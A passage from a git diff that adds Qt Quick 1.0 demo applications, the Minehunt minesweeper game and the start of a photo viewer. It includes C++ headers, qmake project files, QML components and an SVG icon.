+ Q_PROPERTY(bool isPlaying READ isPlaying NOTIFY isPlayingChanged)
+ bool isPlaying() {return playing;}
+
+ Q_PROPERTY(bool hasWon READ hasWon NOTIFY hasWonChanged)
+ bool hasWon() {return won;}
+
+ Q_PROPERTY(int numMines READ numMines NOTIFY numMinesChanged)
+ int numMines() const{return nMines;}
+
+ Q_PROPERTY(int numFlags READ numFlags NOTIFY numFlagsChanged)
+ int numFlags() const{return nFlags;}
+
+public slots:
+ Q_INVOKABLE bool flip(int row, int col);
+ Q_INVOKABLE bool flag(int row, int col);
+ void setBoard();
+ void reset();
+
+signals:
+ void isPlayingChanged();
+ void hasWonChanged();
+ void numMinesChanged();
+ void numFlagsChanged();
+
+private:
+ bool onBoard( int r, int c ) const { return r >= 0 && r < numRows && c >= 0 && c < numCols; }
+ TileData *tile( int row, int col ) { return onBoard(row, col) ? _tiles[col+numRows*row] : 0; }
+ int getHint(int row, int col);
+ void setPlaying(bool b){if(b==playing) return; playing=b; emit isPlayingChanged();}
+
+ QList<TileData *> _tiles;
+ int numCols;
+ int numRows;
+ bool playing;
+ bool won;
+ int remaining;
+ int nMines;
+ int nFlags;
+};
diff --git a/demos/declarative/minehunt/minehunt.pro b/demos/declarative/minehunt/minehunt.pro
new file mode 100644
index 00000000..5c0b7078
--- /dev/null
+++ b/demos/declarative/minehunt/minehunt.pro
@@ -0,0 +1,48 @@
+#TEMPLATE = app
+# Add more folders to ship with the application, here
+folder_01.source = qml/minehunt
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE1CB8EBB
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+symbian:{
+ TARGET.EPOCALLOWDLLDATA = 1
+ TARGET.EPOCHEAPSIZE = 0x20000 0x2000000
+ include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri)
+}
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# Input
+HEADERS += minehunt.h
+SOURCES += main.cpp minehunt.cpp
+RESOURCES = minehunt.qrc
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_DEMOS]/declarative/minehunt
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/demos/declarative/minehunt/minehunt.qmlproject b/demos/declarative/minehunt/minehunt.qmlproject
new file mode 100644
index 00000000..1f8b659f
--- /dev/null
+++ b/demos/declarative/minehunt/minehunt.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/minehunt"
+ }
+ JavaScriptFiles {
+ directory: "qml/minehunt"
+ }
+ ImageFiles {
+ directory: "qml/minehunt"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/demos/declarative/minehunt/minehunt.qrc b/demos/declarative/minehunt/minehunt.qrc
new file mode 100644
index 00000000..4694beb1
--- /dev/null
+++ b/demos/declarative/minehunt/minehunt.qrc
@@ -0,0 +1,19 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>qml/minehunt/minehunt.qml</file>
+ <file>qml/minehunt/MinehuntCore/Explosion.qml</file>
+ <file>qml/minehunt/MinehuntCore/Tile.qml</file>
+ <file>qml/minehunt/MinehuntCore/pics/background.png</file>
+ <file>qml/minehunt/MinehuntCore/pics/back.png</file>
+ <file>qml/minehunt/MinehuntCore/pics/bomb-color.png</file>
+ <file>qml/minehunt/MinehuntCore/pics/bomb.png</file>
+ <file>qml/minehunt/MinehuntCore/pics/face-sad.png</file>
+ <file>qml/minehunt/MinehuntCore/pics/face-smile-big.png</file>
+ <file>qml/minehunt/MinehuntCore/pics/face-smile.png</file>
+ <file>qml/minehunt/MinehuntCore/pics/flag-color.png</file>
+ <file>qml/minehunt/MinehuntCore/pics/flag.png</file>
+ <file>qml/minehunt/MinehuntCore/pics/front.png</file>
+ <file>qml/minehunt/MinehuntCore/pics/quit.png</file>
+ <file>qml/minehunt/MinehuntCore/pics/star.png</file>
+</qresource>
+</RCC>
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/Explosion.qml b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/Explosion.qml
new file mode 100644
index 00000000..41f0cc30
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/Explosion.qml
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+
+Item {
+ property bool explode : false
+
+ Particles {
+ id: particles
+ width: 40
+ height: 40
+ lifeSpan: 1000
+ lifeSpanDeviation: 0
+ source: "pics/star.png"
+ count: 0
+ angle: 270
+ angleDeviation: 360
+ velocity: 100
+ velocityDeviation: 20
+ z: 100
+ }
+ states: State { name: "exploding"; when: explode
+ StateChangeScript {script: particles.burst(200); }
+ }
+}
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/Tile.qml b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/Tile.qml
new file mode 100644
index 00000000..99f3ce05
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/Tile.qml
@@ -0,0 +1,128 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Flipable {
+ id: flipable
+ property int angle: 0
+
+ width: 40; height: 40
+ transform: Rotation { origin.x: 20; origin.y: 20; axis.x: 1; axis.z: 0; angle: flipable.angle }
+
+ front: Image {
+ source: "pics/front.png"; width: 40; height: 40
+
+ Image {
+ anchors.centerIn: parent
+ source: "pics/flag.png"; opacity: modelData.hasFlag
+
+ Behavior on opacity { NumberAnimation {} }
+ }
+ }
+
+ back: Image {
+ source: "pics/back.png"
+ width: 40; height: 40
+
+ Text {
+ anchors.centerIn: parent
+ text: modelData.hint; color: "white"; font.bold: true
+ opacity: !modelData.hasMine && modelData.hint > 0
+ }
+
+ Image {
+ anchors.centerIn: parent
+ source: "pics/bomb.png"; opacity: modelData.hasMine
+ }
+
+ Explosion { id: expl }
+ }
+
+ states: State {
+ name: "back"; when: modelData.flipped
+ PropertyChanges { target: flipable; angle: 180 }
+ }
+
+ property real pauseDur: 250
+ transitions: Transition {
+ SequentialAnimation {
+ ScriptAction {
+ script: {
+ var ret = Math.abs(flipable.x - field.clickx)
+ + Math.abs(flipable.y - field.clicky);
+ if (modelData.hasMine && modelData.flipped)
+ pauseDur = ret * 3
+ else
+ pauseDur = ret
+ }
+ }
+ PauseAnimation {
+ duration: pauseDur
+ }
+ RotationAnimation { easing.type: Easing.InOutQuad }
+ ScriptAction { script: if (modelData.hasMine && modelData.flipped) { expl.explode = true } }
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ onClicked: {
+ field.clickx = flipable.x
+ field.clicky = flipable.y
+ var row = Math.floor(index / 9)
+ var col = index - (Math.floor(index / 9) * 9)
+ if (mouse.button == undefined || mouse.button == Qt.RightButton) {
+ flag(row, col)
+ } else {
+ flip(row, col)
+ }
+ }
+ onPressAndHold: {
+ field.clickx = flipable.x
+ field.clicky = flipable.y
+ var row = Math.floor(index / 9)
+ var col = index - (Math.floor(index / 9) * 9)
+ flag(row, col)
+ }
+ }
+}
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/back.png b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/back.png
new file mode 100644
index 00000000..f6b3f0b4
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/back.png
Binary files differ
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/background.png b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/background.png
new file mode 100644
index 00000000..3734a277
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/background.png
Binary files differ
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/bomb-color.png b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/bomb-color.png
new file mode 100644
index 00000000..61ad0a92
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/bomb-color.png
Binary files differ
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/bomb.png b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/bomb.png
new file mode 100644
index 00000000..a9925755
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/bomb.png
Binary files differ
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/face-sad.png b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/face-sad.png
new file mode 100644
index 00000000..cf00aafe
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/face-sad.png
Binary files differ
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/face-smile-big.png b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/face-smile-big.png
new file mode 100644
index 00000000..f9c2335d
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/face-smile-big.png
Binary files differ
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/face-smile.png b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/face-smile.png
new file mode 100644
index 00000000..3d66d725
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/face-smile.png
Binary files differ
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/flag-color.png b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/flag-color.png
new file mode 100644
index 00000000..aadad0f1
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/flag-color.png
Binary files differ
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/flag.png b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/flag.png
new file mode 100644
index 00000000..39cde4df
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/flag.png
Binary files differ
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/front.png b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/front.png
new file mode 100644
index 00000000..834331bd
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/front.png
Binary files differ
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/quit.png b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/quit.png
new file mode 100644
index 00000000..b822057d
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/quit.png
Binary files differ
diff --git a/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/star.png b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/star.png
new file mode 100644
index 00000000..37723591
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/star.png
Binary files differ
diff --git a/demos/declarative/minehunt/qml/minehunt/minehunt.qml b/demos/declarative/minehunt/qml/minehunt/minehunt.qml
new file mode 100644
index 00000000..51b4d90e
--- /dev/null
+++ b/demos/declarative/minehunt/qml/minehunt/minehunt.qml
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "MinehuntCore"
+
+Item {
+ id: field
+ property int clickx: 0
+ property int clicky: 0
+
+ width: 450; height: 450
+
+ Image { source: "MinehuntCore/pics/background.png"; anchors.fill: parent; fillMode: Image.Tile }
+
+ Grid {
+ anchors.horizontalCenter: parent.horizontalCenter
+ columns: 9; spacing: 1
+
+ Repeater {
+ id: repeater
+ model: tiles
+ delegate: Tile {}
+ }
+ }
+
+ Row {
+ id: gamedata
+ x: 20; spacing: 20
+ anchors.bottom: field.bottom; anchors.bottomMargin: 15
+
+ Image {
+ source: "MinehuntCore/pics/quit.png"
+ scale: quitMouse.pressed ? 0.8 : 1.0
+ smooth: quitMouse.pressed
+ y: 10
+ MouseArea {
+ id: quitMouse
+ anchors.fill: parent
+ anchors.margins: -20
+ onClicked: Qt.quit()
+ }
+ }
+ Column {
+ spacing: 2
+ Image { source: "MinehuntCore/pics/bomb-color.png" }
+ Text { anchors.horizontalCenter: parent.horizontalCenter; color: "white"; text: numMines }
+ }
+
+ Column {
+ spacing: 2
+ Image { source: "MinehuntCore/pics/flag-color.png" }
+ Text { anchors.horizontalCenter: parent.horizontalCenter; color: "white"; text: numFlags }
+ }
+ }
+
+ Image {
+ anchors.bottom: field.bottom; anchors.bottomMargin: 15
+ anchors.right: field.right; anchors.rightMargin: 20
+ source: isPlaying ? 'MinehuntCore/pics/face-smile.png' :
+ hasWon ? 'MinehuntCore/pics/face-smile-big.png': 'MinehuntCore/pics/face-sad.png'
+
+ MouseArea { anchors.fill: parent; onPressed: reset() }
+ }
+ Text {
+ anchors.centerIn: parent; width: parent.width - 20
+ horizontalAlignment: Text.AlignHCenter
+ wrapMode: Text.WordWrap
+ text: "Minehunt demo has to be compiled to run.\n\nPlease see README."
+ color: "white"; font.bold: true; font.pixelSize: 14
+ visible: tiles == undefined
+ }
+
+}
diff --git a/demos/declarative/photoviewer/main.cpp b/demos/declarative/photoviewer/main.cpp
new file mode 100644
index 00000000..e0988bac
--- /dev/null
+++ b/demos/declarative/photoviewer/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/photoviewer/photoviewer.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/demos/declarative/photoviewer/photoviewer.desktop b/demos/declarative/photoviewer/photoviewer.desktop
new file mode 100644
index 00000000..4246b9f3
--- /dev/null
+++ b/demos/declarative/photoviewer/photoviewer.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=photoviewer
+Exec=/opt/photoviewer/bin/photoviewer
+Icon=photoviewer64
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/photoviewer/photoviewer.pro b/demos/declarative/photoviewer/photoviewer.pro
new file mode 100644
index 00000000..72b43155
--- /dev/null
+++ b/demos/declarative/photoviewer/photoviewer.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/photoviewer
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE93AD27B
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_DEMOS]/declarative/photoviewer
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/demos/declarative/photoviewer/photoviewer.qmlproject b/demos/declarative/photoviewer/photoviewer.qmlproject
new file mode 100644
index 00000000..025a3a8f
--- /dev/null
+++ b/demos/declarative/photoviewer/photoviewer.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/photoviewer"
+ }
+ JavaScriptFiles {
+ directory: "qml/photoviewer"
+ }
+ ImageFiles {
+ directory: "qml/photoviewer"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/demos/declarative/photoviewer/photoviewer.svg b/demos/declarative/photoviewer/photoviewer.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/demos/declarative/photoviewer/photoviewer.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
